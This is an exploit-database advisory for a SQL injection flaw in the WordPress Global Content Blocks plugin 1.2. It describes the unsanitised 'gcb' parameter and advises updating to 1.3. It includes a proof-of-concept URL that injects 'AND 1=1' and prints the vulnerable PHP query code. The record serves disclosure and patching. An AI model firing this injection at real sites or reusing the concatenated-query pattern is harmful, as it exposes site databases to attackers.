header-logo
Suggest Exploit
vendor:
Global Content Blocks
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Global Content Blocks
Affected Version From: 1.2
Affected Version To: 1.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:global_content_blocks
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability

The vulnerability exists due to insufficient filtration of user-supplied input passed via the 'gcb' HTTP GET parameter to '/wp-content/plugins/global-content-blocks/gcb/gcb_export.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database.

Mitigation:

Update to version 1.3 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1

---------------
Vulnerable code
---------------
$ids = explode(";",$_GET["gcb"]);
$final_text = array();

foreach($ids as $id) {
    if(intval($id)>0) { // intval("1a") => 1 :)
        $entry = $wpdb->get_row("select * from ".$wpdb->prefix."gcb where id=".$id);
        $final_text[] =
        base64_encode($entry->name)."<;>".
        base64_encode($entry->description)."<;>".
        base64_encode($entry->value)."<;>".
        base64_encode($entry->type);        
    }
}